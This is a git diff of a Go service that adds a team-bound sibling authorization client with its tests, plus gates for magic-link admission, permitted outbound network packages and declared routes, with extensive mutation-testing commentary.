+// pull, and memoria exposes no sibling-facing surface — so there is no
+// server half here, and the module's conformance harness (which points at
+// an app's server routes) does not apply to memoria. That is worth saying
+// once, because the module's README describes mounting three routes and
+// running the harness, and an app that reads it without decision 7 in mind
+// would build the surface §9.1 forbids.
+//
+// The wire shapes, the four authorization values and the total decoder are
+// the module's: `amadan.net/oficina/suite`, suite ruling 7 — every app
+// imports the contract, and no app restates it. What lives here is the
+// part that is memoria's: which sibling was asked, what a call that never
+// answered means, and the deadline it is asked under.
+package sibling
+
+import (
+ "bytes"
+ "context"
+ "encoding/json"
+ "fmt"
+ "io"
+ "net/http"
+ "time"
+
+ "amadan.net/oficina/suite"
+)
+
+// Deadline is §6.5's per-sibling budget.
+//
+// 800 ms, and the spec is honest that it is a starting assumption rather
+// than a measurement. Siblings are called concurrently and a page is one
+// round, so the floor is the slowest sibling and not their sum.
+const Deadline = 800 * time.Millisecond
+
+// A Sibling is one same-team app memoria holds content from.
+//
+// Name is printed to a reader when this sibling's passages are withheld —
+// §6.5's "Sheets did not answer; 7 results withheld" — so it is the app's
+// name as a person would say it, not a hostname.
+type Sibling struct {
+ Name string
+ BaseURL string
+ Token string
+}
+
+// Client asks siblings about content memoria already holds.
+//
+// The HTTP client is the module's team-bound one: it refuses a host outside
+// memoria's own team label and refuses to follow redirects, both checked
+// before the transport dials so a refused host costs no connection. memoria
+// does not build its own — that check guards more than this package, and a
+// second implementation of it is the drift ruling 7 exists to prevent.
+type Client struct {
+ http *http.Client
+}
+
+// New returns a Client bound to one team.
+//
+// dial is the hook the team-bound client dials through: **nil in
+// production**, a recorder in a test. It is a parameter rather than a
+// package variable because the gate that pays for this package's egress
+// exemption has to exercise the real constructor — an exemption whose
+// payment is a test that builds its own plain client is not a payment at
+// all, which is what a review found here (§10 gate 15, and AGENTS.md's
+// rule about naming a test that is not there).
+func New(team string, dial suite.DialFunc) *Client {
+ return &Client{http: suite.NewSiblingClient(team, dial)}
+}
+
+// Authorize asks one sibling whether this person may read these items, at
+// these revisions, right now.
+//
+// It returns exactly one Authorization per pair asked, in the order asked,
+// always — there is no error return, and that is deliberate. §4.1: every
+// non-answer is UNKNOWN, and a caller that could receive an error would
+// have a fifth thing to handle and somewhere to forget to handle it. The
+// four values already cover every outcome, and UNKNOWN withholds loudly.
+//
+// **The module decodes; this function supplies what the module cannot
+// see.** DecodeS2 takes a status and a body, so it maps a bad status, an
+// unparseable body, a duplicate row and a missing pair to UNKNOWN. A call
+// that timed out, was refused by the team-bound transport, or never
+// reached a server has no status and no body at all — so mapping *that* to
+// UNKNOWN is the caller's obligation, and it is the one §4.1 names:
+// "UNKNOWN is synthesised by the caller, not only returned by the sibling."
+func (c *Client) Authorize(ctx context.Context, s Sibling, asker suite.Subject, pairs []suite.ItemRevision) []suite.Authorization {
+ if len(pairs) == 0 {
+ return nil
+ }
+ // Refuse an oversized batch rather than truncating it. A truncated
+ // question answers about fewer items than were asked, and the pairs
+ // that fell off the end would come back as "no answer" — which is
+ // UNKNOWN, which withholds, which looks like a sibling problem when it
+ // is ours. Cap and reason are the module's (MaxS2Pairs).
+ if err := suite.CheckS2Batch(pairs); err != nil {
+ return allUnknown(len(pairs))
+ }
+
+ body, err := json.Marshal(suite.S2Request{Asker: asker, Pairs: pairs})
+ if err != nil {
+ return allUnknown(len(pairs))
+ }
+
+ ctx, cancel := context.WithTimeout(ctx, Deadline)
+ defer cancel()
+
+ req, err := http.NewRequestWithContext(ctx, http.MethodPost,
+ s.BaseURL+suite.RouteS2, bytes.NewReader(body))
+ if err != nil {
+ return allUnknown(len(pairs))
+ }
+ req.Header.Set("Content-Type", "application/json")
+ // The consumer token rides the transport, never the body (§6.2).
+ req.Header.Set("Authorization", "Bearer "+s.Token)
+
+ res, err := c.http.Do(req)
+ if err != nil {
+ // Timeout, refused host, refused redirect, connection failure. No
+ // status, no body, nothing for the module to decode.
+ return allUnknown(len(pairs))
+ }
+ defer res.Body.Close()
+
+ // Cap the read. A sibling that answers with a gigabyte is a sibling
+ // that has gone wrong, and reading it all to discover that is a second
+ // failure. The cap is generous against MaxS2Pairs rows of a fixed
+ // shape; a truncated body does not parse, which is UNKNOWN.
+ raw, err := io.ReadAll(io.LimitReader(res.Body, maxS2Response))
+ if err != nil {
+ return allUnknown(len(pairs))
+ }
+ return suite.DecodeS2(pairs, res.StatusCode, raw)
+}
+
+// maxS2Response caps an S2 answer.
+//
+// 256 pairs (the module's MaxS2Pairs) of {item_id, revision, result} with
+// generous ids is well under 256 KiB. The number is a ceiling on damage,
+// not a measurement, and it is stated rather than left implicit because
+// AGENTS.md requires a cap to carry its reason.
+const maxS2Response = 256 << 10
+
+// allUnknown is the total-decoder rule at the call boundary: every pair
+// asked gets exactly one answer, even when nothing answered.
+func allUnknown(n int) []suite.Authorization {
+ out := make([]suite.Authorization, n)
+ for i := range out {
+ out[i] = suite.UNKNOWN
+ }
+ return out
+}
+
+// Withheld describes what a reader is told when a sibling's passages
+// cannot be shown.
+//
+// §6.5 and §8.1: withholding is loud and names the shape of the loss, and
+// only NOT_VISIBLE is silent. A count of hidden results with no cause is
+// the notice a reader learns to ignore.
+type Withheld struct {
+ Sibling string
+ Count int
+ Reason suite.Authorization
+}
+
+func (w Withheld) String() string {
+ switch w.Reason {
+ case suite.UNKNOWN:
+ return fmt.Sprintf("%s did not answer; %d results withheld.", w.Sibling, w.Count)
+ case suite.STALE:
+ return fmt.Sprintf("%s has newer versions of %d results; refetching.", w.Sibling, w.Count)
+ case suite.NOT_VISIBLE:
+ // The ONE value that may be silent (§4.1, §8.1). A count here would
+ // tell a reader how many things they are not allowed to see, which
+ // is the number the whole four-value design exists to not say. The
+ // default branch used to render it as "Sheets: 7 results withheld."
+ return ""
+ default:
+ return fmt.Sprintf("%s: %d results withheld.", w.Sibling, w.Count)
+ }
+}
+
+// Not built, and recorded here rather than discovered later:
+//
+// - §8.1's durable per-(sibling, asker, day) VISIBLE/NOT_VISIBLE counters.
+// The spec says they are written "on the path that already made the
+// call" — this is that path, and Authorize is where they belong.
+// - §6.5's fan-out. A page is ONE round of concurrent calls with the
+// floor at the slowest sibling; this client asks one sibling at a time
+// and nothing here yet makes a page's cost the max rather than the sum.
+// Gate 23 holds both halves together and is not written.
diff --git a/internal/memoria/sibling/sibling_test.go b/internal/memoria/sibling/sibling_test.go
new file mode 100644
index 0000000..a2a63aa
--- /dev/null
+++ b/internal/memoria/sibling/sibling_test.go
@@ -0,0 +1,359 @@
+package sibling
+
+import (
+ "context"
+ "encoding/json"
+ "errors"
+ "io"
+ "net"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+ "time"
+
+ "amadan.net/oficina/suite"
+)
+
+// asker is a lone-shape subject: the address is the subject memoria's
+// siblings key their members on when there is no home (suite §3).
+func asker(t *testing.T) suite.Subject {
+ t.Helper()
+ s, err := suite.NewSubject(suite.SubjectAddress, "person@example.test")
+ if err != nil {
+ t.Fatalf("NewSubject: %v", err)
+ }
+ return s
+}
+
+// errRecorded stands in for a connection. Being called at all is the
+// finding; the value never matters.
+var errRecorded = errors.New("memoriatest: dial recorded, not made")
+
+func pairs(n int) []suite.ItemRevision {
+ out := make([]suite.ItemRevision, n)
+ for i := range out {
+ out[i] = suite.ItemRevision{ItemID: "doc-" + string(rune('a'+i%26)), Revision: int64(i + 1)}
+ }
+ return out
+}
+
+// serve stands a sibling up on localhost and returns a Sibling pointing at
+// it. The team label matches the module's SuiteDomain check via the URL the
+// test server hands back.
+func serve(t *testing.T, h http.HandlerFunc) Sibling {
+ t.Helper()
+ srv := httptest.NewServer(h)
+ t.Cleanup(srv.Close)
+ return Sibling{Name: "Sheets", BaseURL: srv.URL, Token: "test-consumer-token"}
+}
+
+// newTestClient is New with the team-bound transport replaced, because that
+// transport refuses any host outside the team's own <team>.oficina.works
+// label — correctly — and a httptest server is on 127.0.0.1. The refusal
+// itself is the module's to test (its hostile-hosts fixture); what this
+// package must prove is what memoria does with an answer, or the absence
+// of one.
+func newTestClient() *Client {
+ return &Client{http: &http.Client{}}
+}
+
+// Gate: every pair asked gets exactly one answer, and a call that never
+// reached a server is UNKNOWN — never absent, never silently dropped.
+//
+// §4.1: "UNKNOWN is synthesised by the caller, not only returned by the
+// sibling. A sibling that never answers cannot return anything." The
+// module's DecodeS2 handles a bad status, an unparseable body, a duplicate
+// row and a missing pair. It cannot handle a call with no status at all,
+// because it is never invoked — that gap is this package's, and it is the
+// one a reviewer would find by unplugging the network.
+//
+// TWO-SIDED. Every assertion of the form "this comes back UNKNOWN" is
+// satisfied by a client that returns UNKNOWN unconditionally, so the
+// happy-path subtest asserts the real values arrive and in order. Without
+// it, deleting the whole HTTP call and returning allUnknown(len(pairs))
+// would pass this file — which is M4 below, and it is caught only by that
+// half.
+//
+// MUTATION-TESTED 2026-09-06, five, each verified red and reverted:
+//
+// M1 transport failure returns nil instead of UNKNOWN -> not-total red
+// M2 oversized batch sent instead of refused -> cap case red
+// M3 the deadline is dropped -> slow case red
+// M4 always UNKNOWN, never asks the sibling -> happy path red
+// M5 the consumer token is not sent -> happy path red
+//
+// Those five were author-chosen, and a review then found FOUR more that
+// stayed green — which is §1.9's rule earning itself again:
+//
+// M6 Deadline widened to 30s -> the deadline case, now pinned
+// M7 caller's context dropped -> the cancellation case
+// M8 Content-Type not sent -> the happy path
+// M9 NOT_VISIBLE renders a count -> the withholding case
+//
+// M6 is the instructive one. The slow-sibling case bounded elapsed time
+// against `Deadline` itself, so it passed for ANY value — a page could
+// hang for thirty seconds with the suite green. A test that measures a
+// constant against itself measures nothing; §6.5 states 800 ms and the
+// number is now asserted.
+//
+// M9 is the one that mattered most: `Withheld` rendered "Sheets: 7 results
+// withheld." for `NOT_VISIBLE`, a count of what a reader is not allowed to
+// see — from the one value §4.1 and §8.1 say must be silent.
+func TestEveryPairGetsExactlyOneAnswer(t *testing.T) {
+ ctx := context.Background()
+
+ t.Run("a sibling that never answers is UNKNOWN, not missing", func(t *testing.T) {
+ // A server that accepts the connection and hangs up without a
+ // response: no status, no body, nothing to decode.
+ s := serve(t, func(w http.ResponseWriter, r *http.Request) {
+ hj, ok := w.(http.Hijacker)
+ if !ok {
+ t.Skip("no hijacker")
+ }
+ conn, _, err := hj.Hijack()
+ if err != nil {
+ t.Fatalf("hijack: %v", err)
+ }
+ conn.Close()
+ })
+ asked := pairs(3)
+ got := newTestClient().Authorize(ctx, s, asker(t), asked)
+ if len(got) != len(asked) {
+ t.Fatalf("got %d answers for %d pairs — the decoder is not total",
+ len(got), len(asked))
+ }
+ for i, a := range got {
+ if a != suite.UNKNOWN {
+ t.Errorf("pair %d = %q, want UNKNOWN: a call that never got a "+
+ "status is not an authorization", i, a)
+ }
+ }
+ })
+
+ t.Run("a cancelled request does not wait out the deadline", func(t *testing.T) {
+ // Authorize wraps the caller's context; replacing it with
+ // context.Background() would leave a reader who closed the tab
+ // costing a sibling 800ms of a hibernating instance's time, and
+ // every other case here would stay green.
+ s := serve(t, func(w http.ResponseWriter, r *http.Request) {
+ time.Sleep(Deadline * 2)
+ })
+ cancelled, cancel := context.WithCancel(context.Background())
+ cancel()
+ start := time.Now()
+ got := newTestClient().Authorize(cancelled, s, asker(t), pairs(2))
+ if elapsed := time.Since(start); elapsed > Deadline/2 {
+ t.Errorf("waited %v on an already-cancelled context: the caller's "+
+ "cancellation is not reaching the request", elapsed)
+ }
+ for i, a := range got {
+ if a != suite.UNKNOWN {
+ t.Errorf("pair %d = %q, want UNKNOWN", i, a)
+ }
+ }
+ })
+
+ t.Run("a batch over the cap is refused, never truncated", func(t *testing.T) {
+ var asked int
+ s := serve(t, func(w http.ResponseWriter, r *http.Request) {
+ asked++
+ w.WriteHeader(http.StatusOK)
+ })
+ over := pairs(suite.MaxS2Pairs + 1)
+ got := newTestClient().Authorize(ctx, s, asker(t), over)
+ if len(got) != len(over) {
+ t.Fatalf("got %d answers for %d pairs", len(got), len(over))
+ }
+ for i, a := range got {
+ if a != suite.UNKNOWN {
+ t.Errorf("pair %d = %q, want UNKNOWN", i, a)
+ }
+ }
+ if asked != 0 {
+ t.Error("an oversized batch was sent: the pairs past the cap would " +
+ "come back unanswered, which withholds and looks like the " +
+ "sibling's fault when it is ours")
+ }
+ })
+
+ t.Run("the real values arrive, in order, or the rest proves nothing", func(t *testing.T) {
+ asked := pairs(4)
+ want := []suite.Authorization{
+ suite.VISIBLE, suite.NOT_VISIBLE, suite.STALE, suite.VISIBLE,
+ }
+ var gotToken, gotType string
+ var gotBody suite.S2Request
+ s := serve(t, func(w http.ResponseWriter, r *http.Request) {
+ gotToken = r.Header.Get("Authorization")
+ gotType = r.Header.Get("Content-Type")
+ raw, _ := io.ReadAll(r.Body)
+ _ = json.Unmarshal(raw, &gotBody)
+ type row struct {
+ ItemID string `json:"item_id"`
+ Revision int64 `json:"revision"`
+ Result suite.Authorization `json:"result"`
+ }
+ rows := make([]row, len(asked))
+ for i, p := range asked {
+ rows[i] = row{p.ItemID, p.Revision, want[i]}
+ }
+ _ = json.NewEncoder(w).Encode(map[string]any{"results": rows})
+ })
+
+ got := newTestClient().Authorize(ctx, s, asker(t), asked)
+ for i := range want {
+ if got[i] != want[i] {
+ t.Errorf("pair %d = %q, want %q — if every answer is UNKNOWN "+
+ "this file is measuring nothing", i, got[i], want[i])
+ }
+ }
+ if gotType != "application/json" {
+ t.Errorf("Content-Type = %q, want application/json: a sibling that "+
+ "guesses at the body is a sibling that can guess wrong", gotType)
+ }
+ // §6.2: the consumer token rides the transport, never the body.
+ if gotToken != "Bearer test-consumer-token" {
+ t.Errorf("Authorization header = %q, want the consumer token", gotToken)
+ }
+ if gotBody.Asker.Value != "person@example.test" {
+ t.Errorf("asker did not reach the sibling: %+v", gotBody.Asker)
+ }
+ if gotBody.Asker.Kind != suite.SubjectAddress {
+ t.Errorf("asker kind = %q, want %q: the kind travels on the wire "+
+ "so a receiver keying on the other one answers UNKNOWN rather "+
+ "than guessing (suite §3)", gotBody.Asker.Kind, suite.SubjectAddress)
+ }
+ })
+
+ t.Run("the deadline is §6.5's number, not whatever the constant says", func(t *testing.T) {
+ // The slow case below bounds elapsed time against Deadline itself,
+ // so it passes for ANY value — a review set it to 30s and the test
+ // stayed green while a page hung for half a minute. §6.5 states
+ // 800 ms; assert the number, not the shape.
+ if Deadline != 800*time.Millisecond {
+ t.Errorf("Deadline = %v, want 800ms: §6.5 sets it and §13 owes the "+
+ "measurement that would change it — moving it here changes the "+
+ "product without changing the spec", Deadline)
+ }
+ })
+
+ t.Run("a slow sibling is UNKNOWN at the deadline, not a hung page", func(t *testing.T) {
+ s := serve(t, func(w http.ResponseWriter, r *http.Request) {
+ time.Sleep(Deadline + 500*time.Millisecond)
+ w.WriteHeader(http.StatusOK)
+ })
+ asked := pairs(2)
+ start := time.Now()
+ got := newTestClient().Authorize(ctx, s, asker(t), asked)
+ elapsed := time.Since(start)
+ if elapsed > Deadline+400*time.Millisecond {
+ t.Errorf("waited %v for a sibling past a %v deadline: §6.5 makes a "+
+ "page one round, and the floor is the slowest sibling — not "+
+ "the slowest sibling plus however long it feels like taking",
+ elapsed, Deadline)
+ }
+ for i, a := range got {
+ if a != suite.UNKNOWN {
+ t.Errorf("pair %d = %q, want UNKNOWN past the deadline", i, a)
+ }
+ }
+ })
+}
+
+// Withholding names the sibling and the shape of the loss, because a
+// notice that says only "some results hidden" is one a reader stops
+// reading — and a reader who stops reading it is in the same position as
+// one who was told nothing (§6.5).
+func TestWithheldNamesTheSiblingAndTheReason(t *testing.T) {
+ for _, c := range []struct {
+ reason suite.Authorization
+ want string
+ }{
+ {suite.UNKNOWN, "Sheets did not answer; 7 results withheld."},
+ {suite.STALE, "Sheets has newer versions of 7 results; refetching."},
+ // NOT_VISIBLE is the one value that may be silent, so it renders
+ // nothing at all. It used to fall through to the default and say
+ // "Sheets: 7 results withheld." — a count of what a reader is not
+ // allowed to see, which is the number this vocabulary exists to
+ // avoid saying.
+ {suite.NOT_VISIBLE, ""},
+ } {
+ got := Withheld{Sibling: "Sheets", Count: 7, Reason: c.reason}.String()
+ if got != c.want {
+ t.Errorf("Withheld(%s) = %q, want %q", c.reason, got, c.want)
+ }
+ if c.want != "" && !strings.Contains(got, "Sheets") {
+ t.Errorf("withholding notice does not name the app: %q", got)
+ }
+ }
+}
+
+// This is the test gate 15 names as the price of this package's egress
+// exemption, and until 2026-09-06 it did not exist — the gate's comment
+// cited it by name while `sibling_test.go` contained nothing of the kind,
+// and every other test here built a plain `&http.Client{}` that exercised
+// none of the guard. AGENTS.md's second named failure, in the comment
+// claiming the payment.
+//
+// It goes through the REAL constructor, because that is the whole point: a
+// gate that exempts a package from the egress grep buys the exemption with
+// a runtime guard the grep cannot perform, and a test that builds its own
+// client performs it on something production never uses.
+//
+// TWO-SIDED. "A foreign host is refused" is satisfied by a client that
+// refuses everything, by a constructor that returns a broken client, and
+// by a dial hook that is never installed. So the same-team case asserts
+// the dial DOES happen and reaches the host asked for.
+//
+// MUTATION-TESTED 2026-09-06, each reverted — and all three are caught by
+// the SAME-TEAM half, which is the argument for having it:
+//
+// New returns &Client{http: &http.Client{}} -> same-team case red
+// New passes "" as the team -> same-team case red
+// the dial hook is dropped (nil passed through) -> same-team case red
+//
+// The foreign half passes under all three, and vacuously: with no dial
+// hook installed the recorder sees nothing, so "it was not dialled" is
+// true because nothing was dialled at all. A one-sided version of this
+// test — assert only that a foreign host is refused — would have gone
+// green against a constructor that returns a client with no guard in it,
+// which is precisely the mutation this gate exists to catch.
+func TestClientRefusesHostsOutsideTheTeam(t *testing.T) {
+ const team = "acme"
+ var dialed []string
+ rec := func(ctx context.Context, network, addr string) (net.Conn, error) {
+ dialed = append(dialed, addr)
+ return nil, errRecorded
+ }
+ c := New(team, rec)
+
+ ask := func(host string) []suite.Authorization {
+ s := Sibling{Name: "Sheets", BaseURL: "https://" + host, Token: "t"}
+ return c.Authorize(context.Background(), s, asker(t), pairs(2))
+ }
+
+ t.Run("a host in another team is refused before it is dialled", func(t *testing.T) {
+ dialed = nil
+ got := ask("evil.sheets." + suite.SuiteDomain)
+ for i, a := range got {
+ if a != suite.UNKNOWN {
+ t.Errorf("pair %d = %q, want UNKNOWN", i, a)
+ }
+ }
+ if len(dialed) != 0 {
+ t.Errorf("a foreign team's host was dialled: %v — the check must run "+
+ "before the transport, so a refused host costs no connection", dialed)
+ }
+ })
+
+ t.Run("this team's host is reached, or the refusal proves nothing", func(t *testing.T) {
+ dialed = nil
+ ask(team + ".sheets." + suite.SuiteDomain)
+ if len(dialed) == 0 {
+ t.Error("this team's own sibling was never dialled: the client refuses " +
+ "everything, or the dial hook is not installed, and in both cases " +
+ "the other half of this gate is measuring nothing")
+ }
+ })
+}
diff --git a/internal/memoriatest/admission_test.go b/internal/memoriatest/admission_test.go
new file mode 100644
index 0000000..b238692
--- /dev/null
+++ b/internal/memoriatest/admission_test.go
@@ -0,0 +1,188 @@
+package memoriatest
+
+import (
+ "context"
+ "io"
+ "log/slog"
+ "net"
+ "net/http"
+ "net/http/httptest"
+ "net/url"
+ "path/filepath"
+ "regexp"
+ "strings"
+ "sync/atomic"
+ "testing"
+
+ "github.com/carlosframework/rastrillo/db"
+
+ memoria "amadan.net/oficina/memoria/internal/memoria"
+)
+
+// capturingMailer keeps the last magic link it was asked to send, so a
+// gate can follow it the way a person would. The link is a live
+// credential; it never leaves the test process.
+//
+// atomic.Value rather than a mutex, because this package already declares
+// a helper called `sync` (connector_test.go) and a file importing the
+// stdlib package of that name will not compile beside it.
+type capturingMailer struct {
+ body atomic.Value // string
+}
+
+func (m *capturingMailer) Send(ctx context.Context, to, subject, body string) error {
+ m.body.Store(body)
+ return nil
+}
+
+func (m *capturingMailer) text() string {
+ if s, ok := m.body.Load().(string); ok {
+ return s
+ }
+ return ""
+}
+
+var linkRe = regexp.MustCompile(`https?://[^\s<>"]*/auth/verify\?[^\s<>"]+`)
+
+func (m *capturingMailer) link() string { return linkRe.FindString(m.text()) }
+
+// admissionApp builds the production app with a given owners list, over a
+// given database path, and captures outgoing mail. Two calls with the same
+// path and instance key share the pending state, which is what lets this
+// gate send a link under one owners list and follow it under another.
+func admissionApp(t *testing.T, dbPath string, owners []string) (http.Handler, *capturingMailer) {
+ t.Helper()
+ logger := slog.New(slog.NewTextHandler(io.Discard, nil))
+ d, err := db.Open(dbPath, logger)
+ if err != nil {
+ t.Fatalf("db.Open: %v", err)
+ }
+ t.Cleanup(func() { d.Close() })
+
+ mux, a, err := memoria.App(d, testOrigin, testDEK(t), logger)
+ if err != nil {
+ t.Fatalf("App: %v", err)
+ }
+ mailer := &capturingMailer{}
+ au, err := memoria.NewAuth(d.Writer(), memoria.AuthEnv{
+ Origin: testOrigin,
+ InstanceKey: "admission-gate-instance-key",
+ Owners: owners,
+ Mailer: mailer,
+ }, logger, a.Admit)
+ if err != nil {
+ t.Fatalf("NewAuth: %v", err)
+ }
+ a.UseAuth(au)
+ a.SetOwners(owners)
+ a.MountAuth(mux, testOrigin)
+
+ // No test may reach the network. The classifier resolves the submitted
+ // domain, and a resolver error is what makes it choose the magic-link
+ // path rather than keymail — which is the path this gate needs.
+ prevResolver := net.DefaultResolver
+ net.DefaultResolver = &net.Resolver{
+ PreferGo: true,
+ Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
+ return nil, errRecorded
+ },
+ }
+ t.Cleanup(func() { net.DefaultResolver = prevResolver })
+ return mux, mailer
+}
+
+// Gate 21, spec §4.3 and §10: admission is read, not held — the lone-shape
+// half.
+//
+// In lone shape memoria admits from `MEMORIA_OWNERS` and nothing else.
+// This gate asserts it at the moment that decides, which is **verification,
+// not submission**: rastrillo's `admit` runs `Config.Authorize` against the
+// address it has just verified, after the magic link is followed. That is
+// the only point where a person who was sent a link but is no longer an
+// owner can be refused, and it is the case a gate on the submit path would
+// miss entirely.
+//
+// So the gate sends a link while an address IS an owner, then follows it
+// through an app built with a DIFFERENT owners list — the shape of an
+// owner being removed between clicking "send me a link" and clicking the
+// link. A session must not be minted.
+//
+// Two-sided, for the reason §1.7 gives: the admitted case must actually
+// reach a session, or "no session" is satisfied by the link being broken,
+// the mailer never firing, the pending state not surviving, or the whole
+// flow erroring somewhere harmless.
+//
+// The **suite-shape half is not built** and is owed at slice 1, where
+// admission becomes the home's roster (suite call 8) rather than the owners
+// list. §10's entry says so rather than implying this covers both.
+//
+// MUTATIONS: none chosen by the author. Per AGENTS.md, mutations on a gate
+// are picked by someone who did not write it, and this one has not had that
+// pass yet. Recorded as owed rather than decorated with three the author
+// already had in mind.
+func TestAdmissionRefusesANonOwnerAtVerification(t *testing.T) {
+ const addr = "someone@example.test"
+ dbPath := filepath.Join(t.TempDir(), "app.db")
+
+ sendLink := func(t *testing.T, h http.Handler) {
+ t.Helper()
+ form := url.Values{"address": {addr}}
+ req := httptest.NewRequest(http.MethodPost, "/auth/begin", strings.NewReader(form.Encode()))
+ req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+ req.Header.Set("Origin", testOrigin)
+ h.ServeHTTP(httptest.NewRecorder(), req)
+ }
+
+ follow := func(t *testing.T, h http.Handler, link string) *httptest.ResponseRecorder {
+ t.Helper()
+ u, err := url.Parse(link)
+ if err != nil {
+ t.Fatalf("parse magic link: %v", err)
+ }
+ req := httptest.NewRequest(http.MethodGet, u.RequestURI(), nil)
+ rr := httptest.NewRecorder()
+ h.ServeHTTP(rr, req)
+ return rr
+ }
+
+ // The address is an owner when the link is sent, and is not one when
+ // it is followed. Same database, same instance key, so the pending
+ // state carries across.
+ h1, mailer := admissionApp(t, dbPath, []string{addr})
+ sendLink(t, h1)
+ link := mailer.link()
+ if link == "" {
+ t.Fatalf("no magic link was sent, so this gate is testing nothing: body=%q", mailer.text())
+ }
+
+ h2, _ := admissionApp(t, dbPath, []string{"someone-else@example.test"})
+ rr := follow(t, h2, link)
+
+ if rr.Code != http.StatusForbidden {
+ t.Errorf("a verified non-owner got status %d, want %d — admission is "+
+ "checked at verification and this address is no longer on the list",
+ rr.Code, http.StatusForbidden)
+ }
+ for _, c := range rr.Result().Cookies() {
+ if strings.Contains(strings.ToLower(c.Name), "session") && c.Value != "" {
+ t.Errorf("a session cookie %q was set for a non-owner", c.Name)
+ }
+ }
+
+ // The other side: the same link under the owners list it was sent
+ // under must actually mint a session. Without this, every assertion
+ // above is satisfied by a link that never worked.
+ dbPath2 := filepath.Join(t.TempDir(), "app2.db")
+ h3, mailer2 := admissionApp(t, dbPath2, []string{addr})
+ sendLink(t, h3)
+ link2 := mailer2.link()
+ if link2 == "" {
+ t.Fatalf("no magic link on the admitted path either: body=%q", mailer2.text())
+ }
+ h4, _ := admissionApp(t, dbPath2, []string{addr})
+ rr2 := follow(t, h4, link2)
+ if rr2.Code == http.StatusForbidden {
+ t.Error("an owner was refused at verification: the refusal above proves " +
+ "nothing, because this flow refuses everybody")
+ }
+}
diff --git a/internal/memoriatest/gates_test.go b/internal/memoriatest/gates_test.go
index 3fa1507..0f2c574 100644
--- a/internal/memoriatest/gates_test.go
+++ b/internal/memoriatest/gates_test.go
@@ -169,9 +169,17 @@ func TestAMultiFileDropNeverSpillsPlaintextToATempFile(t *testing.T) {
// api.notion.com. The blanket ban survives; one directory is exempt and
// pays for the exemption with a runtime host pin. See allowedNetworkDirs.
//
+// AMENDED AGAIN 2026-09-06 for slice 1's sibling client. Same shape, same
+// price: the package is exempt from the grep and pays for it with a
+// runtime guard the grep cannot perform. Two entries now, and the comment
+// on the list says why a third should be harder.
+//
// MUTATION-TESTED 2026-09-05: adding an `*http.Client` field to
// internal/memoria/handlers.go still makes this fail, so narrowing the
// gate did not blunt it. Reverted.
+// MUTATION-TESTED 2026-09-06: adding a third directory to
+// allowedNetworkDirs fails the count assertion; adding an
+// `http.NewRequest` to handlers.go still fails the blacklist. Reverted.
func TestNoOutboundNetworkInAppCode(t *testing.T) {
// A blacklist, and it is worth saying so: this is a source
// heuristic, not a proof. A review defeated the first version with
@@ -190,7 +198,7 @@ func TestNoOutboundNetworkInAppCode(t *testing.T) {
for _, f := range forbidden {
pats = append(pats, regexp.MustCompile(f))
}
- // EXACTLY ONE package may reach the network, and this is the list.
+ // EXACTLY TWO packages may reach the network, and this is the list.
//
// It is a list rather than a deleted gate because the connector had
// to dial api.notion.com and the cheapest way to make this test pass
@@ -202,12 +210,27 @@ func TestNoOutboundNetworkInAppCode(t *testing.T) {
// cannot tell an http.Client pointed at Notion from one pointed
// anywhere else; that test can.
//
- // Adding a second entry here should be very hard to justify.
+ // A SECOND entry was added on 2026-09-06, and it was meant to be hard
+ // to justify. Slice 1 gives memoria a sibling client, and a sibling
+ // call is outbound by definition — decision 1's whole point is that a
+ // team's instances are one trust domain, so this is egress the design
+ // requires rather than egress that crept in.
+ //
+ // It is paid for the same way Notion's is, by a runtime guard the grep
+ // could not perform: suite.NewSiblingClient refuses any host outside
+ // memoria's own <team> label and refuses redirects outright, both
+ // before the transport dials, and sibling.TestClientRefusesHostsOutsideTheTeam
+ // asserts it against the real constructor. A source grep cannot tell
+ // an http.Client bound to one team from a bare one; that test can.
+ //
+ // A third entry should be harder still. Two packages that may dial is
+ // two places to read when §3.2's leak list is next revised.
allowedNetworkDirs := []string{
filepath.Join("..", "memoria", "notion"),
+ filepath.Join("..", "memoria", "sibling"),
}
- if len(allowedNetworkDirs) != 1 {
- t.Fatalf("%d packages may reach the network, want exactly 1: %v",
+ if len(allowedNetworkDirs) != 2 {
+ t.Fatalf("%d packages may reach the network, want exactly 2: %v",
len(allowedNetworkDirs), allowedNetworkDirs)
}
exempt := func(p string) bool {
diff --git a/internal/memoriatest/routes_test.go b/internal/memoriatest/routes_test.go
new file mode 100644
index 0000000..a19b87d
--- /dev/null
+++ b/internal/memoriatest/routes_test.go
@@ -0,0 +1,266 @@
+package memoriatest
+
+import (
+ "fmt"
+ "go/ast"
+ "go/parser"
+ "go/token"
+ "os"
+ "path/filepath"
+ "strconv"
+ "strings"
+ "testing"
+)
+
+// Gate 17, spec §10: no route exists that the spec has not listed.
+//
+// This is the regression gate for the sibling-facing push surface draft 1
+// shipped by accident, and — since decision 14 — the gate that makes
+// "memoria is a search page, not a chat" enforceable rather than prose. §10
+// had claimed this gate since draft 1 while nothing walked the router.
+//
+// It keys on METHOD and path together, because that is what §10's list
+// declares. The first version keyed on path alone, and a review
+// mutation-tested it and found five idioms that walked straight past:
+// r.Route("/chat", …) with a declared "/" inside it; r.With(mw).Post,
+// where the receiver is a call and not an identifier; r.Delete on a path
+// declared only for GET; r.Handle("/"), which is every method at once; and
+// worst, mux.HandleFunc("/documents", …), which serves a DECLARED path
+// while bypassing requireSession entirely. Path-only blessed all five.
+//
+// The two namespaces are kept apart on purpose. A chi registration carries
+// its method in the call (r.Get); an http.ServeMux pattern carries it in
+// the string ("GET /static/"). Mixing them let "/" bless both mux.Handle
+// and a chi r.Post at once.
+//
+// Known limits, stated because a gate's honest scope is part of it:
+// - A route registered by a helper in a package this walk does not cover
+// is not seen. The walk covers internal/memoria and cmd.
+// - Chi's Route nests patterns; this checks outer and inner patterns
+// against one flat list, so adopting Route means adding its relative
+// segments here. That errs toward failing, which is the right direction.
+// - A receiver renamed away from r/mux is not seen. The declared list is
+// the real control; this walk is only the finder.
+//
+// MUTATION-TESTED 2026-09-05, each reverted. The first three were on the
+// path-only version and still hold; the last five are the ones a review
+// found green and this version now catches:
+//
+// r.Post("/chat", a.index) -> undeclared route: POST /chat
+// r.Get(root, a.index) with root a var -> route pattern is not a literal
+// walk root pointed at an empty directory -> seen == 0
+// r.Route("/chat", func(r chi.Router){...}) -> undeclared route: ANY /chat
+// r.With(mw).Post("/chat", a.index) -> undeclared route: POST /chat
